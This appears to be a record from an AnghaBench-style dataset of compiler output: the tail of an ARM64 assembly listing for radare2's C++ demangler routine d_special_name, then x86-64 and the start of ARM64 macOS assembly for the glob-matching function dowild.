.loh AdrpLdrGot Lloh22, Lloh23
.loh AdrpLdrGot Lloh24, Lloh25
.loh AdrpLdrGot Lloh26, Lloh27
.loh AdrpLdrGot Lloh28, Lloh29
.loh AdrpLdrGot Lloh30, Lloh31
.loh AdrpLdrGot Lloh32, Lloh33
.loh AdrpLdrGotLdr Lloh34, Lloh35, Lloh36
.loh AdrpLdrGot Lloh37, Lloh38
.loh AdrpLdrGot Lloh39, Lloh40
.loh AdrpLdrGot Lloh41, Lloh42
.cfi_endproc
.section __TEXT,__const
lJTI0_0:
.byte (LBB0_3-LBB0_3)>>2
.byte (LBB0_27-LBB0_3)>>2
.byte (LBB0_8-LBB0_3)>>2
.byte (LBB0_27-LBB0_3)>>2
.byte (LBB0_27-LBB0_3)>>2
.byte (LBB0_11-LBB0_3)>>2
.byte (LBB0_27-LBB0_3)>>2
.byte (LBB0_12-LBB0_3)>>2
.byte (LBB0_13-LBB0_3)>>2
.byte (LBB0_14-LBB0_3)>>2
.byte (LBB0_27-LBB0_3)>>2
.byte (LBB0_27-LBB0_3)>>2
.byte (LBB0_27-LBB0_3)>>2
.byte (LBB0_27-LBB0_3)>>2
.byte (LBB0_27-LBB0_3)>>2
.byte (LBB0_27-LBB0_3)>>2
.byte (LBB0_27-LBB0_3)>>2
.byte (LBB0_27-LBB0_3)>>2
.byte (LBB0_15-LBB0_3)>>2
.byte (LBB0_16-LBB0_3)>>2
.byte (LBB0_27-LBB0_3)>>2
.byte (LBB0_17-LBB0_3)>>2
.byte (LBB0_19-LBB0_3)>>2
.byte (LBB0_27-LBB0_3)>>2
.byte (LBB0_27-LBB0_3)>>2
.byte (LBB0_27-LBB0_3)>>2
.byte (LBB0_27-LBB0_3)>>2
.byte (LBB0_27-LBB0_3)>>2
.byte (LBB0_27-LBB0_3)>>2
.byte (LBB0_27-LBB0_3)>>2
.byte (LBB0_27-LBB0_3)>>2
.byte (LBB0_27-LBB0_3)>>2
.byte (LBB0_27-LBB0_3)>>2
.byte (LBB0_27-LBB0_3)>>2
.byte (LBB0_20-LBB0_3)>>2
.byte (LBB0_27-LBB0_3)>>2
.byte (LBB0_27-LBB0_3)>>2
.byte (LBB0_27-LBB0_3)>>2
.byte (LBB0_27-LBB0_3)>>2
.byte (LBB0_23-LBB0_3)>>2
.byte (LBB0_27-LBB0_3)>>2
.byte (LBB0_27-LBB0_3)>>2
.byte (LBB0_27-LBB0_3)>>2
.byte (LBB0_27-LBB0_3)>>2
.byte (LBB0_27-LBB0_3)>>2
.byte (LBB0_27-LBB0_3)>>2
.byte (LBB0_27-LBB0_3)>>2
.byte (LBB0_27-LBB0_3)>>2
.byte (LBB0_27-LBB0_3)>>2
.byte (LBB0_27-LBB0_3)>>2
.byte (LBB0_27-LBB0_3)>>2
.byte (LBB0_27-LBB0_3)>>2
.byte (LBB0_27-LBB0_3)>>2
.byte (LBB0_25-LBB0_3)>>2
lJTI0_1:
.byte (LBB0_7-LBB0_7)>>2
.byte (LBB0_27-LBB0_7)>>2
.byte (LBB0_27-LBB0_7)>>2
.byte (LBB0_27-LBB0_7)>>2
.byte (LBB0_27-LBB0_7)>>2
.byte (LBB0_27-LBB0_7)>>2
.byte (LBB0_27-LBB0_7)>>2
.byte (LBB0_27-LBB0_7)>>2
.byte (LBB0_27-LBB0_7)>>2
.byte (LBB0_27-LBB0_7)>>2
.byte (LBB0_27-LBB0_7)>>2
.byte (LBB0_27-LBB0_7)>>2
.byte (LBB0_27-LBB0_7)>>2
.byte (LBB0_27-LBB0_7)>>2
.byte (LBB0_27-LBB0_7)>>2
.byte (LBB0_27-LBB0_7)>>2
.byte (LBB0_27-LBB0_7)>>2
.byte (LBB0_28-LBB0_7)>>2
.byte (LBB0_27-LBB0_7)>>2
.byte (LBB0_29-LBB0_7)>>2
.byte (LBB0_27-LBB0_7)>>2
.byte (LBB0_31-LBB0_7)>>2
.byte (LBB0_27-LBB0_7)>>2
.byte (LBB0_27-LBB0_7)>>2
.byte (LBB0_27-LBB0_7)>>2
.byte (LBB0_27-LBB0_7)>>2
.byte (LBB0_27-LBB0_7)>>2
.byte (LBB0_27-LBB0_7)>>2
.byte (LBB0_27-LBB0_7)>>2
.byte (LBB0_27-LBB0_7)>>2
.byte (LBB0_27-LBB0_7)>>2
.byte (LBB0_27-LBB0_7)>>2
.byte (LBB0_27-LBB0_7)>>2
.byte (LBB0_27-LBB0_7)>>2
.byte (LBB0_27-LBB0_7)>>2
.byte (LBB0_27-LBB0_7)>>2
.byte (LBB0_27-LBB0_7)>>2
.byte (LBB0_27-LBB0_7)>>2
.byte (LBB0_27-LBB0_7)>>2
.byte (LBB0_27-LBB0_7)>>2
.byte (LBB0_27-LBB0_7)>>2
.byte (LBB0_27-LBB0_7)>>2
.byte (LBB0_27-LBB0_7)>>2
.byte (LBB0_27-LBB0_7)>>2
.byte (LBB0_27-LBB0_7)>>2
.byte (LBB0_27-LBB0_7)>>2
.byte (LBB0_27-LBB0_7)>>2
.byte (LBB0_27-LBB0_7)>>2
.byte (LBB0_27-LBB0_7)>>2
.byte (LBB0_33-LBB0_7)>>2
; -- End function
.comm _DEMANGLE_COMPONENT_VTABLE,4,2 ; @DEMANGLE_COMPONENT_VTABLE
.comm _DEMANGLE_COMPONENT_VTT,4,2 ; @DEMANGLE_COMPONENT_VTT
.comm _DEMANGLE_COMPONENT_TYPEINFO,4,2 ; @DEMANGLE_COMPONENT_TYPEINFO
.comm _DEMANGLE_COMPONENT_TYPEINFO_NAME,4,2 ; @DEMANGLE_COMPONENT_TYPEINFO_NAME
.comm _DEMANGLE_COMPONENT_THUNK,4,2 ; @DEMANGLE_COMPONENT_THUNK
.comm _DEMANGLE_COMPONENT_VIRTUAL_THUNK,4,2 ; @DEMANGLE_COMPONENT_VIRTUAL_THUNK
.comm _DEMANGLE_COMPONENT_COVARIANT_THUNK,4,2 ; @DEMANGLE_COMPONENT_COVARIANT_THUNK
.comm _DEMANGLE_COMPONENT_CONSTRUCTION_VTABLE,4,2 ; @DEMANGLE_COMPONENT_CONSTRUCTION_VTABLE
.comm _DEMANGLE_COMPONENT_TYPEINFO_FN,4,2 ; @DEMANGLE_COMPONENT_TYPEINFO_FN
.comm _DEMANGLE_COMPONENT_JAVA_CLASS,4,2 ; @DEMANGLE_COMPONENT_JAVA_CLASS
.comm _DEMANGLE_COMPONENT_TLS_INIT,4,2 ; @DEMANGLE_COMPONENT_TLS_INIT
.comm _DEMANGLE_COMPONENT_TLS_WRAPPER,4,2 ; @DEMANGLE_COMPONENT_TLS_WRAPPER
.comm _DEMANGLE_COMPONENT_TPARM_OBJ,4,2 ; @DEMANGLE_COMPONENT_TPARM_OBJ
.comm _DEMANGLE_COMPONENT_GUARD,4,2 ; @DEMANGLE_COMPONENT_GUARD
.comm _DEMANGLE_COMPONENT_REFTEMP,4,2 ; @DEMANGLE_COMPONENT_REFTEMP
.comm _DEMANGLE_COMPONENT_HIDDEN_ALIAS,4,2 ; @DEMANGLE_COMPONENT_HIDDEN_ALIAS
.comm _DEMANGLE_COMPONENT_NONTRANSACTION_CLONE,4,2 ; @DEMANGLE_COMPONENT_NONTRANSACTION_CLONE
.comm _DEMANGLE_COMPONENT_TRANSACTION_CLONE,4,2 ; @DEMANGLE_COMPONENT_TRANSACTION_CLONE
.no_dead_strip _d_special_name
.subsections_via_symbols
| AnghaBench/radare2/libr/bin/mangling/cxx/extr_cp-demangle.c_d_special_name.c | anghabench |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 15, 0 sdk_version 15, 5
.p2align 4, 0x90 ## -- Begin function dowild
_dowild: ## @dowild
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
pushq %r15
pushq %r14
pushq %r13
pushq %r12
pushq %rbx
subq $40, %rsp
.cfi_offset %rbx, -56
.cfi_offset %r12, -48
.cfi_offset %r13, -40
.cfi_offset %r14, -32
.cfi_offset %r15, -24
movq %rsi, %rbx
movzbl (%rdi), %r13d
testb %r13b, %r13b
je LBB0_103
## %bb.1:
movl %edx, %r15d
movq %rdi, -80(%rbp) ## 8-byte Spill
movq %rdi, %r12
movl %edx, -52(%rbp) ## 4-byte Spill
jmp LBB0_4
.p2align 4, 0x90
LBB0_2: ## in Loop: Header=BB0_4 Depth=1
cmpb %r13b, %dl
jne LBB0_108
LBB0_3: ## in Loop: Header=BB0_4 Depth=1
decq %rbx
movzbl 1(%r12), %r13d
incq %r12
testb %r13b, %r13b
je LBB0_103
LBB0_4: ## =>This Loop Header: Depth=1
## Child Loop BB0_36 Depth 2
## Child Loop BB0_50 Depth 3
## Child Loop BB0_21 Depth 2
movzbl (%rbx), %ecx
cmpb $42, %r13b
je LBB0_6
## %bb.5: ## in Loop: Header=BB0_4 Depth=1
testb %cl, %cl
je LBB0_128
LBB0_6: ## in Loop: Header=BB0_4 Depth=1
movq %rbx, -64(%rbp) ## 8-byte Spill
movq _WM_CASEFOLD@GOTPCREL(%rip), %rax
movl (%rax), %eax
orl %r15d, %eax
je LBB0_9
## %bb.7: ## in Loop: Header=BB0_4 Depth=1
movsbl %cl, %r14d
movl %r14d, %edi
movl %ecx, %ebx
callq _ISUPPER
movl %ebx, %ecx
testq %rax, %rax
je LBB0_9
## %bb.8: ## in Loop: Header=BB0_4 Depth=1
movl %r14d, %edi
callq _tolower
movl %eax, %ecx
LBB0_9: ## in Loop: Header=BB0_4 Depth=1
movb %cl, -41(%rbp) ## 1-byte Spill
movq _WM_CASEFOLD@GOTPCREL(%rip), %rax
testl %r15d, (%rax)
je LBB0_12
## %bb.10: ## in Loop: Header=BB0_4 Depth=1
movsbl %r13b, %r14d
movl %r14d, %edi
callq _ISUPPER
testq %rax, %rax
movq -64(%rbp), %rbx ## 8-byte Reload
je LBB0_13
## %bb.11: ## in Loop: Header=BB0_4 Depth=1
movl %r14d, %edi
callq _tolower
movl %eax, %r13d
jmp LBB0_13
.p2align 4, 0x90
LBB0_12: ## in Loop: Header=BB0_4 Depth=1
movq -64(%rbp), %rbx ## 8-byte Reload
LBB0_13: ## in Loop: Header=BB0_4 Depth=1
movzbl %r13b, %eax
cmpl $90, %eax
jg LBB0_16
## %bb.14: ## in Loop: Header=BB0_4 Depth=1
cmpl $42, %eax
movzbl -41(%rbp), %edx ## 1-byte Folded Reload
je LBB0_19
## %bb.15: ## in Loop: Header=BB0_4 Depth=1
cmpl $63, %eax
je LBB0_96
jmp LBB0_2
.p2align 4, 0x90
LBB0_16: ## in Loop: Header=BB0_4 Depth=1
cmpl $91, %eax
movzbl -41(%rbp), %edx ## 1-byte Folded Reload
je LBB0_29
## %bb.17: ## in Loop: Header=BB0_4 Depth=1
cmpl $92, %eax
jne LBB0_2
## %bb.18: ## in Loop: Header=BB0_4 Depth=1
movzbl 1(%r12), %r13d
incq %r12
jmp LBB0_2
LBB0_19: ## in Loop: Header=BB0_4 Depth=1
movzbl 1(%r12), %eax
cmpb $42, %al
jne LBB0_31
## %bb.20: ## in Loop: Header=BB0_4 Depth=1
leaq 2(%r12), %rdi
.p2align 4, 0x90
LBB0_21: ## Parent Loop BB0_4 Depth=1
## => This Inner Loop Header: Depth=2
movzbl (%rdi), %eax
incq %rdi
cmpl $42, %eax
je LBB0_21
## %bb.22: ## in Loop: Header=BB0_4 Depth=1
leaq -1(%rdi), %r14
movb $1, %r15b
movl -52(%rbp), %ecx ## 4-byte Reload
movq _WM_PATHNAME@GOTPCREL(%rip), %rsi
testl %ecx, (%rsi)
je LBB0_98
## %bb.23: ## in Loop: Header=BB0_4 Depth=1
decq %r12
cmpq -80(%rbp), %r12 ## 8-byte Folded Reload
jbe LBB0_25
## %bb.24: ## in Loop: Header=BB0_4 Depth=1
cmpb $47, (%r12)
jne LBB0_28
LBB0_25: ## in Loop: Header=BB0_4 Depth=1
cmpl $47, %eax
je LBB0_99
## %bb.26: ## in Loop: Header=BB0_4 Depth=1
testl %eax, %eax
je LBB0_104
## %bb.27: ## in Loop: Header=BB0_4 Depth=1
cmpl $92, %eax
je LBB0_109
LBB0_28: ## in Loop: Header=BB0_4 Depth=1
xorl %r15d, %r15d
LBB0_98: ## in Loop: Header=BB0_4 Depth=1
movq %r14, %r12
testb %al, %al
jne LBB0_101
jmp LBB0_106
LBB0_29: ## in Loop: Header=BB0_4 Depth=1
movzbl 1(%r12), %eax
xorl %esi, %esi
movq _NEGATE_CLASS@GOTPCREL(%rip), %rcx
cmpb (%rcx), %al
sete %cl
jne LBB0_32
## %bb.30: ## in Loop: Header=BB0_4 Depth=1
movzbl 2(%r12), %eax
addq $2, %r12
jmp LBB0_33
LBB0_31: ## in Loop: Header=BB0_4 Depth=1
incq %r12
movq _WM_PATHNAME@GOTPCREL(%rip), %rcx
testl %r15d, (%rcx)
sete %r15b
testb %al, %al
je LBB0_106
LBB0_101: ## in Loop: Header=BB0_4 Depth=1
cmpb $47, %al
sete %al
movl %r15d, %ecx
notb %cl
testb %al, %cl
je LBB0_112
## %bb.102: ## in Loop: Header=BB0_4 Depth=1
movq %rbx, %rdi
movl $47, %esi
callq _strchr
movq %rax, %rbx
testq %rax, %rax
movl -52(%rbp), %r15d ## 4-byte Reload
jne LBB0_3
jmp LBB0_108
LBB0_32: ## in Loop: Header=BB0_4 Depth=1
incq %r12
LBB0_33: ## in Loop: Header=BB0_4 Depth=1
movb %cl, %sil
xorl %r13d, %r13d
xorl %r15d, %r15d
jmp LBB0_36
.p2align 4, 0x90
LBB0_34: ## in Loop: Header=BB0_36 Depth=2
cmpb %al, %dl
movl $1, %ecx
cmovel %ecx, %r15d
LBB0_35: ## in Loop: Header=BB0_36 Depth=2
movl %eax, %r13d
movzbl 1(%r12), %ecx
incq %r12
movl %ecx, %eax
cmpb $93, %cl
je LBB0_95
LBB0_36: ## Parent Loop BB0_4 Depth=1
## => This Loop Header: Depth=2
## Child Loop BB0_50 Depth 3
cmpb $92, %al
je LBB0_45
## %bb.37: ## in Loop: Header=BB0_36 Depth=2
movzbl %al, %ecx
testl %ecx, %ecx
je LBB0_128
## %bb.38: ## in Loop: Header=BB0_36 Depth=2
testb %r13b, %r13b
je LBB0_47
## %bb.39: ## in Loop: Header=BB0_36 Depth=2
cmpb $45, %al
jne LBB0_47
## %bb.40: ## in Loop: Header=BB0_36 Depth=2
movzbl 1(%r12), %r14d
testl %r14d, %r14d
je LBB0_34
## %bb.41: ## in Loop: Header=BB0_36 Depth=2
cmpl $93, %r14d
je LBB0_34
## %bb.42: ## in Loop: Header=BB0_36 Depth=2
cmpl $92, %r14d
jne LBB0_53
## %bb.43: ## in Loop: Header=BB0_36 Depth=2
movzbl 2(%r12), %r14d
testb %r14b, %r14b
je LBB0_128
## %bb.44: ## in Loop: Header=BB0_36 Depth=2
addq $2, %r12
cmpb %r13b, %dl
jge LBB0_54
jmp LBB0_56
.p2align 4, 0x90
LBB0_45: ## in Loop: Header=BB0_36 Depth=2
movzbl 1(%r12), %eax
testb %al, %al
je LBB0_128
## %bb.46: ## in Loop: Header=BB0_36 Depth=2
incq %r12
jmp LBB0_34
.p2align 4, 0x90
LBB0_47: ## in Loop: Header=BB0_36 Depth=2
cmpb $91, %al
jne LBB0_34
## %bb.48: ## in Loop: Header=BB0_36 Depth=2
cmpb $58, 1(%r12)
jne LBB0_34
## %bb.49: ## in Loop: Header=BB0_36 Depth=2
leaq 2(%r12), %rcx
movl $-1, %r13d
movq %rcx, %r14
.p2align 4, 0x90
LBB0_50: ## Parent Loop BB0_4 Depth=1
## Parent Loop BB0_36 Depth=2
## => This Inner Loop Header: Depth=3
movzbl (%r14), %eax
testl %eax, %eax
je LBB0_128
## %bb.51: ## in Loop: Header=BB0_50 Depth=3
cmpl $93, %eax
je LBB0_60
## %bb.52: ## in Loop: Header=BB0_50 Depth=3
incq %r14
incl %r13d
jmp LBB0_50
LBB0_53: ## in Loop: Header=BB0_36 Depth=2
incq %r12
cmpb %r13b, %dl
jl LBB0_56
LBB0_54: ## in Loop: Header=BB0_36 Depth=2
cmpb %r14b, %dl
jg LBB0_56
## %bb.55: ## in Loop: Header=BB0_36 Depth=2
xorl %eax, %eax
movl $1, %r15d
jmp LBB0_35
LBB0_56: ## in Loop: Header=BB0_36 Depth=2
movl -52(%rbp), %eax ## 4-byte Reload
movq _WM_CASEFOLD@GOTPCREL(%rip), %rcx
testl %eax, (%rcx)
je LBB0_64
## %bb.57: ## in Loop: Header=BB0_36 Depth=2
movl %esi, -48(%rbp) ## 4-byte Spill
movsbl %dl, %edi
movl %edi, -68(%rbp) ## 4-byte Spill
callq _ISLOWER
testl %eax, %eax
je LBB0_59
## %bb.58: ## in Loop: Header=BB0_36 Depth=2
movl -68(%rbp), %edi ## 4-byte Reload
callq _toupper
cmpb %r13b, %al
movl $1, %ecx
cmovll %r15d, %ecx
cmpb %r14b, %al
cmovlel %ecx, %r15d
LBB0_59: ## in Loop: Header=BB0_36 Depth=2
xorl %eax, %eax
movzbl -41(%rbp), %edx ## 1-byte Folded Reload
movl -48(%rbp), %esi ## 4-byte Reload
jmp LBB0_35
LBB0_60: ## in Loop: Header=BB0_36 Depth=2
testl %r13d, %r13d
js LBB0_65
## %bb.61: ## in Loop: Header=BB0_36 Depth=2
cmpb $58, -1(%r14)
jne LBB0_65
## %bb.62: ## in Loop: Header=BB0_36 Depth=2
movl %esi, -48(%rbp) ## 4-byte Spill
movq %rcx, %rbx
movq %rcx, %rdi
movl %r13d, %esi
leaq L_.str(%rip), %rdx
callq _CC_EQ
testl %eax, %eax
je LBB0_66
## %bb.63: ## in Loop: Header=BB0_36 Depth=2
movzbl -41(%rbp), %ebx ## 1-byte Folded Reload
movsbl %bl, %edi
callq _ISALNUM
jmp LBB0_76
LBB0_64: ## in Loop: Header=BB0_36 Depth=2
xorl %eax, %eax
jmp LBB0_35
LBB0_65: ## in Loop: Header=BB0_36 Depth=2
cmpb $91, %dl
movl $1, %eax
cmovel %eax, %r15d
movb $91, %al
jmp LBB0_35
LBB0_66: ## in Loop: Header=BB0_36 Depth=2
movq %rbx, %rdi
movl %r13d, %esi
leaq L_.str.1(%rip), %rdx
callq _CC_EQ
testl %eax, %eax
je LBB0_68
## %bb.67: ## in Loop: Header=BB0_36 Depth=2
movzbl -41(%rbp), %ebx ## 1-byte Folded Reload
movsbl %bl, %edi
callq _ISALPHA
jmp LBB0_76
LBB0_68: ## in Loop: Header=BB0_36 Depth=2
movq %rbx, %rdi
movl %r13d, %esi
leaq L_.str.2(%rip), %rdx
callq _CC_EQ
testl %eax, %eax
je LBB0_70
## %bb.69: ## in Loop: Header=BB0_36 Depth=2
movzbl -41(%rbp), %ebx ## 1-byte Folded Reload
movsbl %bl, %edi
callq _ISBLANK
jmp LBB0_76
LBB0_70: ## in Loop: Header=BB0_36 Depth=2
movq %rbx, %rdi
movl %r13d, %esi
leaq L_.str.3(%rip), %rdx
callq _CC_EQ
testl %eax, %eax
je LBB0_72
## %bb.71: ## in Loop: Header=BB0_36 Depth=2
movzbl -41(%rbp), %ebx ## 1-byte Folded Reload
movsbl %bl, %edi
callq _ISCNTRL
jmp LBB0_76
LBB0_72: ## in Loop: Header=BB0_36 Depth=2
movq %rbx, %rdi
movl %r13d, %esi
leaq L_.str.4(%rip), %rdx
callq _CC_EQ
testl %eax, %eax
je LBB0_74
## %bb.73: ## in Loop: Header=BB0_36 Depth=2
movzbl -41(%rbp), %ebx ## 1-byte Folded Reload
movsbl %bl, %edi
callq _ISDIGIT
jmp LBB0_76
LBB0_74: ## in Loop: Header=BB0_36 Depth=2
movq %rbx, %rdi
movl %r13d, %esi
leaq L_.str.5(%rip), %rdx
callq _CC_EQ
testl %eax, %eax
je LBB0_77
## %bb.75: ## in Loop: Header=BB0_36 Depth=2
movzbl -41(%rbp), %ebx ## 1-byte Folded Reload
movsbl %bl, %edi
callq _ISGRAPH
LBB0_76: ## in Loop: Header=BB0_36 Depth=2
movl %ebx, %edx
movq -64(%rbp), %rbx ## 8-byte Reload
testl %eax, %eax
movl $1, %eax
cmovnel %eax, %r15d
xorl %eax, %eax
movq %r14, %r12
movl -48(%rbp), %esi ## 4-byte Reload
jmp LBB0_35
LBB0_77: ## in Loop: Header=BB0_36 Depth=2
movq %rbx, %rdi
movl %r13d, %esi
leaq L_.str.6(%rip), %rdx
callq _CC_EQ
testl %eax, %eax
je LBB0_79
## %bb.78: ## in Loop: Header=BB0_36 Depth=2
movzbl -41(%rbp), %ebx ## 1-byte Folded Reload
movsbl %bl, %edi
callq _ISLOWER
jmp LBB0_85
LBB0_79: ## in Loop: Header=BB0_36 Depth=2
movq %rbx, %r12
movq %rbx, %rdi
movl %r13d, %esi
leaq L_.str.7(%rip), %rdx
callq _CC_EQ
testl %eax, %eax
je LBB0_81
## %bb.80: ## in Loop: Header=BB0_36 Depth=2
movzbl -41(%rbp), %ebx ## 1-byte Folded Reload
movsbl %bl, %edi
callq _ISPRINT
jmp LBB0_85
LBB0_81: ## in Loop: Header=BB0_36 Depth=2
movq %r12, %rdi
movl %r13d, %esi
leaq L_.str.8(%rip), %rdx
callq _CC_EQ
testl %eax, %eax
je LBB0_83
## %bb.82: ## in Loop: Header=BB0_36 Depth=2
movzbl -41(%rbp), %ebx ## 1-byte Folded Reload
movsbl %bl, %edi
callq _ISPUNCT
jmp LBB0_85
LBB0_83: ## in Loop: Header=BB0_36 Depth=2
movq %r12, %rdi
movl %r13d, %esi
leaq L_.str.9(%rip), %rdx
callq _CC_EQ
testl %eax, %eax
je LBB0_87
## %bb.84: ## in Loop: Header=BB0_36 Depth=2
movzbl -41(%rbp), %ebx ## 1-byte Folded Reload
movsbl %bl, %edi
callq _ISSPACE
LBB0_85: ## in Loop: Header=BB0_36 Depth=2
movl %ebx, %edx
testl %eax, %eax
movl $1, %eax
cmovnel %eax, %r15d
xorl %eax, %eax
movq %r14, %r12
LBB0_86: ## in Loop: Header=BB0_36 Depth=2
movq -64(%rbp), %rbx ## 8-byte Reload
movl -48(%rbp), %esi ## 4-byte Reload
jmp LBB0_35
LBB0_87: ## in Loop: Header=BB0_36 Depth=2
movq %r12, %rdi
movl %r13d, %esi
leaq L_.str.10(%rip), %rdx
callq _CC_EQ
testl %eax, %eax
je LBB0_90
## %bb.88: ## in Loop: Header=BB0_36 Depth=2
movsbl -41(%rbp), %r12d ## 1-byte Folded Reload
movl %r12d, %edi
callq _ISUPPER
testq %rax, %rax
je LBB0_92
## %bb.89: ## in Loop: Header=BB0_36 Depth=2
movl $1, %r15d
jmp LBB0_94
LBB0_90: ## in Loop: Header=BB0_36 Depth=2
movq %r12, %rdi
movl %r13d, %esi
leaq L_.str.11(%rip), %rdx
callq _CC_EQ
testl %eax, %eax
je LBB0_128
## %bb.91: ## in Loop: Header=BB0_36 Depth=2
movzbl -41(%rbp), %ebx ## 1-byte Folded Reload
movsbl %bl, %edi
callq _ISXDIGIT
jmp LBB0_85
LBB0_92: ## in Loop: Header=BB0_36 Depth=2
movl -52(%rbp), %eax ## 4-byte Reload
movq _WM_CASEFOLD@GOTPCREL(%rip), %rcx
testl %eax, (%rcx)
je LBB0_94
## %bb.93: ## in Loop: Header=BB0_36 Depth=2
movl %r12d, %edi
callq _ISLOWER
testl %eax, %eax
movl $1, %eax
cmovnel %eax, %r15d
LBB0_94: ## in Loop: Header=BB0_36 Depth=2
xorl %eax, %eax
movq %r14, %r12
movzbl -41(%rbp), %edx ## 1-byte Folded Reload
jmp LBB0_86
LBB0_95: ## in Loop: Header=BB0_4 Depth=1
cmpl %esi, %r15d
movl -52(%rbp), %r15d ## 4-byte Reload
je LBB0_108
LBB0_96: ## in Loop: Header=BB0_4 Depth=1
movq _WM_PATHNAME@GOTPCREL(%rip), %rax
testl %r15d, (%rax)
je LBB0_3
## %bb.97: ## in Loop: Header=BB0_4 Depth=1
cmpb $47, %dl
jne LBB0_3
jmp LBB0_108
LBB0_99: ## in Loop: Header=BB0_4 Depth=1
movq %rbx, %rsi
movl -52(%rbp), %edx ## 4-byte Reload
callq _dowild
movq _WM_MATCH@GOTPCREL(%rip), %rcx
cmpl (%rcx), %eax
je LBB0_130
## %bb.100: ## in Loop: Header=BB0_4 Depth=1
movzbl (%r14), %eax
movq %r14, %r12
movzbl -41(%rbp), %edx ## 1-byte Folded Reload
testb %al, %al
jne LBB0_101
LBB0_106:
testb %r15b, %r15b
jne LBB0_104
## %bb.107:
movq %rbx, %rdi
movl $47, %esi
callq _strchr
testq %rax, %rax
jne LBB0_108
jmp LBB0_104
LBB0_103:
cmpb $0, (%rbx)
jne LBB0_108
LBB0_104:
movq _WM_MATCH@GOTPCREL(%rip), %rax
jmp LBB0_129
LBB0_109:
cmpb $47, (%rdi)
sete %r15b
decq %rdi
movq %rdi, %r12
jmp LBB0_112
LBB0_110: ## in Loop: Header=BB0_112 Depth=1
movq _WM_ABORT_TO_STARSTAR@GOTPCREL(%rip), %rcx
cmpl (%rcx), %eax
sete %cl
testb %cl, %r15b
je LBB0_130
LBB0_111: ## in Loop: Header=BB0_112 Depth=1
movzbl 1(%rbx), %edx
incq %rbx
LBB0_112: ## =>This Loop Header: Depth=1
## Child Loop BB0_118 Depth 2
testb %dl, %dl
je LBB0_128
## %bb.113: ## in Loop: Header=BB0_112 Depth=1
movb %dl, -41(%rbp) ## 1-byte Spill
movsbl (%r12), %edi
callq _is_glob_special
testl %eax, %eax
jne LBB0_125
## %bb.114: ## in Loop: Header=BB0_112 Depth=1
movzbl (%r12), %edx
movl -52(%rbp), %eax ## 4-byte Reload
movq _WM_CASEFOLD@GOTPCREL(%rip), %rcx
testl %eax, (%rcx)
je LBB0_117
## %bb.115: ## in Loop: Header=BB0_112 Depth=1
movsbl %dl, %r14d
movl %r14d, %edi
movq %rbx, %r13
movl %edx, %ebx
callq _ISUPPER
movl %ebx, %edx
movq %r13, %rbx
testq %rax, %rax
je LBB0_117
## %bb.116: ## in Loop: Header=BB0_112 Depth=1
movl %r14d, %edi
callq _tolower
movl %eax, %edx
LBB0_117: ## in Loop: Header=BB0_112 Depth=1
movzbl (%rbx), %r13d
cmpb $47, %r13b
setne %al
testb %r13b, %r13b
movb %dl, -41(%rbp) ## 1-byte Spill
je LBB0_124
.p2align 4, 0x90
LBB0_118: ## Parent Loop BB0_112 Depth=1
## => This Inner Loop Header: Depth=2
orb %r15b, %al
je LBB0_124
## %bb.119: ## in Loop: Header=BB0_118 Depth=2
movl -52(%rbp), %eax ## 4-byte Reload
movq _WM_CASEFOLD@GOTPCREL(%rip), %rcx
testl %eax, (%rcx)
je LBB0_122
## %bb.120: ## in Loop: Header=BB0_118 Depth=2
movsbl %r13b, %r14d
movl %r14d, %edi
callq _ISUPPER
testq %rax, %rax
je LBB0_122
## %bb.121: ## in Loop: Header=BB0_118 Depth=2
movl %r14d, %edi
callq _tolower
movl %eax, %r13d
LBB0_122: ## in Loop: Header=BB0_118 Depth=2
movzbl -41(%rbp), %edx ## 1-byte Folded Reload
cmpb %dl, %r13b
je LBB0_125
## %bb.123: ## in Loop: Header=BB0_118 Depth=2
movzbl 1(%rbx), %r13d
incq %rbx
cmpb $47, %r13b
setne %al
testb %r13b, %r13b
jne LBB0_118
LBB0_124: ## in Loop: Header=BB0_112 Depth=1
cmpb %dl, %r13b
jne LBB0_108
LBB0_125: ## in Loop: Header=BB0_112 Depth=1
movq %r12, %rdi
movq %rbx, %rsi
movl -52(%rbp), %edx ## 4-byte Reload
callq _dowild
movq _WM_NOMATCH@GOTPCREL(%rip), %rcx
cmpl (%rcx), %eax
jne LBB0_110
## %bb.126: ## in Loop: Header=BB0_112 Depth=1
cmpb $47, -41(%rbp) ## 1-byte Folded Reload
setne %al
orb %r15b, %al
jne LBB0_111
## %bb.127:
movq _WM_ABORT_TO_STARSTAR@GOTPCREL(%rip), %rax
jmp LBB0_129
LBB0_128:
movq _WM_ABORT_ALL@GOTPCREL(%rip), %rax
jmp LBB0_129
LBB0_108:
movq _WM_NOMATCH@GOTPCREL(%rip), %rax
LBB0_129:
movl (%rax), %eax
LBB0_130:
addq $40, %rsp
popq %rbx
popq %r12
popq %r13
popq %r14
popq %r15
popq %rbp
retq
.cfi_endproc
## -- End function
.comm _WM_ABORT_ALL,4,2 ## @WM_ABORT_ALL
.comm _WM_CASEFOLD,4,2 ## @WM_CASEFOLD
.comm _WM_NOMATCH,4,2 ## @WM_NOMATCH
.comm _WM_PATHNAME,4,2 ## @WM_PATHNAME
.comm _WM_MATCH,4,2 ## @WM_MATCH
.comm _WM_ABORT_TO_STARSTAR,4,2 ## @WM_ABORT_TO_STARSTAR
.comm _NEGATE_CLASS,1,0 ## @NEGATE_CLASS
.section __TEXT,__cstring,cstring_literals
L_.str: ## @.str
.asciz "alnum"
L_.str.1: ## @.str.1
.asciz "alpha"
L_.str.2: ## @.str.2
.asciz "blank"
L_.str.3: ## @.str.3
.asciz "cntrl"
L_.str.4: ## @.str.4
.asciz "digit"
L_.str.5: ## @.str.5
.asciz "graph"
L_.str.6: ## @.str.6
.asciz "lower"
L_.str.7: ## @.str.7
.asciz "print"
L_.str.8: ## @.str.8
.asciz "punct"
L_.str.9: ## @.str.9
.asciz "space"
L_.str.10: ## @.str.10
.asciz "upper"
L_.str.11: ## @.str.11
.asciz "xdigit"
.comm _NEGATE_CLASS2,1,0 ## @NEGATE_CLASS2
.no_dead_strip _dowild
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 15, 0 sdk_version 15, 5
.p2align 2 ; -- Begin function dowild
_dowild: ; @dowild
.cfi_startproc
; %bb.0:
sub sp, sp, #112
stp x28, x27, [sp, #16] ; 16-byte Folded Spill
stp x26, x25, [sp, #32] ; 16-byte Folded Spill
stp x24, x23, [sp, #48] ; 16-byte Folded Spill
